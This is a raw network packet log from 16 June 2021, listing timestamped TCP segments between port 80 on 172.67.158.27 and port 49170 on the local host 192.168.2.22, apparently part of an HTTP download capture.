Jun 16, 2021 12:06:00.880300045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880311966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880321980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880342960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880354881 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880363941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880384922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880394936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880407095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880426884 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880438089 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880449057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880469084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880485058 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880563021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880597115 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880620956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880642891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880664110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880673885 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881129980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881174088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881175995 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881196022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881220102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881228924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881244898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881272078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881278992 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881298065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881325006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881334066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881349087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881375074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881381989 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881401062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881424904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881432056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881450891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881474972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881483078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.881500959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881525993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.881532907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882093906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882122993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882143974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882145882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882174015 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882177114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882215023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882246971 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882247925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882268906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882291079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882301092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882314920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882335901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882345915 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882359028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882380009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882390022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882400990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882421970 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882430077 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.882441998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882462978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.882472038 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883017063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883045912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883065939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883066893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883089066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883100033 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883135080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883157969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883166075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883178949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883199930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883210897 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883222103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883241892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883251905 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883264065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883285046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883296013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883307934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883330107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883343935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883351088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883372068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883382082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883883953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883909941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883929014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883930922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883951902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883961916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.883972883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.883992910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884002924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884013891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884035110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884044886 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884057045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884078026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884087086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884099007 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884119034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884129047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884140015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884161949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884172916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884181976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884202003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884212017 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884819984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884849072 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884869099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884882927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884905100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884917021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.884958982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884979963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.884989977 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885001898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885021925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885032892 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885042906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885063887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885072947 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885085106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885104895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885113955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885127068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885148048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885154963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885169983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885193110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885199070 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885727882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885756969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885770082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885778904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885801077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885809898 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885823011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885843992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885852098 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885864973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885885954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885895967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885906935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885926962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885936022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885948896 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885970116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.885977983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.885987997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.886023045 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.888586044 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027267933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027312994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027369976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027399063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027426958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027451992 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027456999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027473927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027487993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027494907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027520895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027551889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027559996 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027584076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027616978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027616978 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027650118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027682066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027683973 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027713060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027744055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027746916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027776003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027806044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027807951 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027837992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027868032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027870893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027899027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027930021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027930975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027961016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.027992010 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.027992010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028023958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028053045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028053999 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028124094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028155088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028157949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028187037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028218985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028219938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028253078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028284073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028287888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028314114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028347015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028347969 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028378010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028408051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028414011 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028435946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028469086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028469086 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028501034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028532982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028533936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.028563976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028594971 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.028599024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029092073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029128075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029149055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029155016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029181004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029187918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029212952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029247999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029249907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029279947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029308081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029310942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029337883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029366016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029371023 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029397964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029427052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029431105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029454947 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029484034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029486895 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029515028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029545069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.029547930 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.029989004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030024052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030034065 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030054092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030083895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030091047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030114889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030143976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030145884 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030173063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030201912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030205011 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030231953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030260086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030262947 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030288935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030324936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030330896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030354023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030384064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030388117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030411959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030441046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030445099 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030909061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030945063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.030953884 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.030978918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031011105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031012058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031044960 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031075954 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031076908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031109095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031146049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031157017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031193018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031220913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031224012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031250954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031280041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031280994 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031308889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031338930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031339884 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031366110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031394958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031399012 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031846046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031881094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031888008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031908035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031934023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031936884 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.031960011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031986952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.031990051 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032012939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032041073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032044888 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032068014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032095909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032098055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032124043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032150984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032151937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032180071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032207966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032208920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032236099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032263994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032270908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032777071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032814980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032825947 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032845020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032874107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032881021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032906055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032938004 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.032938004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.032969952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033010006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033010960 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:01.033037901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033066988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:01.033071995 CEST	49170	80	192.168.2.22	172.67.158.27
